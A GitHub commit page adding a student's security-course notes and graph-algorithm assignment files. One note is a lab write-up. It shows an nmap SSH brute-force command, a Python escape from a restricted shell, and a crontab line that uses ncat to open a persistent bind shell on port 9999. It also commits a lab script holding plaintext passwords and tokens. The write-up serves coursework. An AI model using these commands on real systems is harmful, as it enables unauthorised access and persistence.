Skip to content

Commit 6cdec66

Browse files
matoousmatoous
committedNov 14, 2019
add BSY tasks
1 parent 325acc7 commit 6cdec66

32 files changed

+1157996
-1
lines changed
 

‎BSY/02.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
# Lecture 02
22

33

4-
Logged into the machine
4+
Logged into the machine
55

66
```
77
ssh class@147.32.82.209 -p 445

‎BSY/03.md

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
# Detecting intruders using tcpdump and wireshark

‎BSY/04.md

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
# Attacking services
2+
3+
## Part 01 - FTP server
4+
5+
## Part 02

‎BSY/07.md

+57
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
# 6: Privilege Escalation and Persistence
2+
3+
The task is simple: Get SSH access to moriarty@192.168.1.193 and find flag.
4+
We are given a hint: Despite being a criminal mastermind,
5+
this person loves reading superhero comic books….. nerd!
6+
7+
So first we tried to bruteforce the password for user moriarty using the list
8+
of 1000 most common passwords (https://raw.githubusercontent.com/DavidWittman/wpxmlrpcbrute/master/wordlists/1000-most-common-passwords.txt)
9+
and command:
10+
11+
```
12+
sudo nmap -sS -sV -p 22 192.168.1.193 -v -n --script ssh-brute --script-args userdb=names.txt,passdb=1000-most-common-passwords.txt
13+
```
14+
15+
This sadly failed and didn't find the correct password.
16+
So we tried to guess what the password might be and on the first try we get in;
17+
the password was 'batman'.
18+
19+
After getting in we see, that we have only 2 command available, python and ls.
20+
Using python we are able to spawn a shell:
21+
22+
```
23+
import os; print(os.system('/bin/bash'))
24+
```
25+
26+
After that, we could roam freely all over the server.
27+
First thing we did was to have some persistence we added following line to crontab:
28+
29+
```
30+
(crontab -l ; echo "@reboot sleep 200 && ncat -l 9999 -k -c /bin/bash")|crontab 2> /dev/null
31+
```
32+
33+
Which will upon reboot spawn a shell acessible on port 9999.
34+
35+
After that, we explore more of what we can do. After a few minutes we stumble upon
36+
folder assignment07 under /home/user which contains script for the 7th assignment.
37+
In file password_rotator.sh we find whole script for the assignment from which we draw following conclusions:
38+
39+
1. The passwords that the user rotates are: "superman" "ironman" "batman" "4a7#mgannn2LDD90T#1fX#0Yx%m!kxrMSmUXd60xKwdM0S6u"
40+
41+
2. The file with second token is: /var/tmp/tokens/second_token.txt and it's content
42+
changes to following values: "Hysterical" "Spaghetti" "Floss" "Apparently"
43+
which together give the token for second part of the assignment: HystericalSpaghettiFlossApparently
44+
This token is also in the first comment in the script
45+
```
46+
#TOKEN:HystericalSpaghettiFlossApparently
47+
```
48+
49+
3. The flag server for second part of the assignment is 192.168.1.167:9453
50+
51+
4. On password rotation all ssh session to moriarty are killed so we won't be able
52+
to persist our ssh connection but we can definitely spawn a remote shell which shouldn't
53+
get killed by the script.
54+
55+
After looking into the /vat/tmp/tokens folder we find token and flag server for first part
56+
of the task as well. We try to submit both flags but flag for token for the part B doesn't
57+
work which we later get to know was unintentional.

‎BSY/password_rotator.sh

+44
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
2+
#TOKEN:HystericalSpaghettiFlossApparently
3+
4+
declare TOKEN_FILE=/var/tmp/tokens/second_token.txt;
5+
declare tmp_file=/home/user/assignment07/.token_id;
6+
declare -a TOKENS=("Hysterical" "Spaghetti" "Floss" "Apparently");
7+
#declare -a PASSWORDS=("professor" "scarlet" "detective" "4a7#mgannn2LDD90T#1fX#0Yx%m!kxrMSmUXd60xKwdM0S6u");
8+
declare -a PASSWORDS=("superman" "ironman" "batman" "4a7#mgannn2LDD90T#1fX#0Yx%m!kxrMSmUXd60xKwdM0S6u");
9+
id=0;
10+
11+
#read current index from file
12+
while IFS= read -r line;do
13+
id=$line;
14+
done < $tmp_file
15+
16+
#increment it (or rotate to 0)
17+
if [[ $id -eq "3" ]]; then
18+
id=0;
19+
else
20+
((id++));
21+
fi
22+
23+
24+
#kill all ssh @moriarty
25+
for i in $(who -u | grep moriarty | awk -F " " '{print $5}')
26+
do
27+
# echo $i;
28+
kill $i;
29+
done
30+
31+
# Override the token file
32+
#add server info if this is the last part
33+
if [[ $id -eq "3" ]]; then
34+
echo "$(($id +1))/4: ${TOKENS[$id]}" > $TOKEN_FILE;
35+
echo "Flag server: 192.168.1.167:9453" >> $TOKEN_FILE;
36+
else
37+
echo "$(($id +1))/4: ${TOKENS[$id]}" > $TOKEN_FILE;
38+
fi
39+
40+
#change password
41+
echo -e "moriarty:${PASSWORDS[$id]}" | /usr/sbin/chpasswd;
42+
43+
#save the current index
44+
echo $id > $tmp_file;

‎PAL/3IsoFewCyc/CMakeLists.txt

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
cmake_minimum_required(VERSION 3.15)
2+
project(3IsoFewCyc)
3+
4+
set(CMAKE_CXX_STANDARD 14)
5+
6+
add_executable(3IsoFewCyc main.cpp)

‎PAL/3IsoFewCyc/Makefile

+53
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
# Colorful output
2+
color_off = \033[0m
3+
color_green = \033[0;32m
4+
color_cyan = \033[0;36m
5+
color_yellow = \033[0;33m
6+
7+
define echo_green
8+
$(call echo_custom_color,$(color_green),$(1))
9+
endef
10+
11+
define echo_cyan
12+
$(call echo_custom_color,$(color_cyan),$(1))
13+
endef
14+
15+
define echo_warning
16+
$(call echo_custom_color,$(color_yellow),$(1))
17+
endef
18+
19+
define echo_custom_color
20+
@printf "$(1)$(2)$(color_off)\n"
21+
endef
22+
23+
# Before and after job output functions
24+
define before_job
25+
$(eval TO_WRITE = $(strip $(1)))
26+
$(eval WRITE_LENGTH = $(shell expr \( 11 + \( "X$(TO_WRITE)" : ".*" \) \) || echo 0 ))
27+
$(eval TO_WRITE = ╔$(shell f=0; while [ $$((f+=1)) -le 8 ]; do printf ═; done;) $(TO_WRITE))
28+
$(eval TO_WRITE = $(TO_WRITE) $(shell f=$(WRITE_LENGTH); while [ $$((f+=1)) -le $(COLUMNS) ]; do printf ═; done;)╗)
29+
$(call echo_cyan,$(TO_WRITE))
30+
$(eval TO_WRITE = "")
31+
$(eval WRITE_LENGTH = 0)
32+
endef
33+
34+
define after_job
35+
$(eval TO_WRITE = $(strip $(1)))
36+
$(eval WRITE_LENGTH = $(shell expr \( 11 + \( "X$(TO_WRITE)" : ".*" \) \) || echo 0 ))
37+
$(eval TO_WRITE = ╚$(shell f=0; while [ $$((f+=1)) -le 8 ]; do printf ═; done;) $(TO_WRITE))
38+
$(eval TO_WRITE = $(TO_WRITE) $(shell f=$(WRITE_LENGTH); while [ $$((f+=1)) -le $(COLUMNS) ]; do printf ═; done;)╝)
39+
$(call echo_green,$(TO_WRITE))
40+
$(eval TO_WRITE = "")
41+
$(eval WRITE_LENGTH = 0)
42+
endef
43+
44+
# Make this makefile self-documented with target `help`
45+
.PHONY: help
46+
.DEFAULT_GOAL := help
47+
48+
help:
49+
@grep -Eh '^[0-9a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}'
50+
51+
compile: ## Compile the main file
52+
g++ -std=c++11 -pipe -Wall -O3 -c *.cpp
53+
g++ -std=c++11 *.o -o main

‎PAL/3IsoFewCyc/datapub/pub01.in

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
2 8 8
2+
8 2
3+
2 5
4+
1 8
5+
4 7
6+
2 4
7+
8 4
8+
6 5
9+
3 5
10+
1 3
11+
6 5
12+
5 4
13+
4 7
14+
8 3
15+
5 1
16+
3 2
17+
1 4

‎PAL/3IsoFewCyc/datapub/pub01.out

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
2

‎PAL/3IsoFewCyc/datapub/pub02.in

+61
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
4 14 15
2+
1 2
3+
2 13
4+
13 14
5+
13 11
6+
12 11
7+
11 10
8+
2 10
9+
9 8
10+
8 10
11+
8 3
12+
4 7
13+
6 5
14+
3 6
15+
3 4
16+
6 4
17+
13 12
18+
12 11
19+
11 14
20+
1 2
21+
2 3
22+
4 2
23+
10 11
24+
10 12
25+
10 9
26+
8 7
27+
5 6
28+
4 5
29+
5 7
30+
7 9
31+
9 4
32+
3 4
33+
5 3
34+
5 2
35+
2 1
36+
3 2
37+
5 6
38+
7 6
39+
8 6
40+
13 14
41+
12 11
42+
10 9
43+
8 14
44+
11 14
45+
9 8
46+
9 11
47+
1 8
48+
1 2
49+
1 10
50+
9 8
51+
9 13
52+
9 10
53+
7 8
54+
11 10
55+
13 14
56+
12 13
57+
2 5
58+
5 6
59+
5 3
60+
2 3
61+
4 3

‎PAL/3IsoFewCyc/datapub/pub02.out

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
1 1 2

‎PAL/3IsoFewCyc/datapub/pub03.in

+106
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
3 32 35
2+
19 8
3+
27 25
4+
30 31
5+
29 6
6+
13 12
7+
1 18
8+
22 25
9+
32 19
10+
2 9
11+
30 22
12+
31 20
13+
16 9
14+
8 12
15+
27 20
16+
32 28
17+
8 25
18+
28 16
19+
10 18
20+
17 19
21+
9 11
22+
23 31
23+
32 17
24+
28 6
25+
26 20
26+
27 15
27+
2 6
28+
16 3
29+
12 10
30+
5 22
31+
13 18
32+
21 2
33+
10 24
34+
17 7
35+
14 30
36+
4 13
37+
20 12
38+
27 24
39+
9 31
40+
17 28
41+
30 13
42+
16 22
43+
2 14
44+
14 25
45+
10 32
46+
1 31
47+
14 1
48+
32 12
49+
31 32
50+
24 29
51+
24 4
52+
28 2
53+
16 29
54+
25 21
55+
5 1
56+
18 5
57+
25 13
58+
22 4
59+
5 7
60+
16 15
61+
4 6
62+
12 9
63+
26 17
64+
29 7
65+
7 18
66+
23 22
67+
11 18
68+
28 3
69+
17 13
70+
8 2
71+
9 19
72+
30 4
73+
17 8
74+
19 3
75+
14 31
76+
24 31
77+
15 32
78+
8 29
79+
25 8
80+
30 29
81+
24 1
82+
28 32
83+
21 20
84+
20 12
85+
5 7
86+
6 24
87+
16 10
88+
10 19
89+
28 5
90+
26 25
91+
1 28
92+
1 22
93+
30 25
94+
21 2
95+
6 29
96+
19 5
97+
27 22
98+
20 23
99+
22 13
100+
11 13
101+
18 13
102+
12 21
103+
10 32
104+
31 11
105+
11 9
106+
12 6

‎PAL/3IsoFewCyc/datapub/pub03.out

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
1 2

0 commit comments

Comments
 (0)
Please sign in to comment.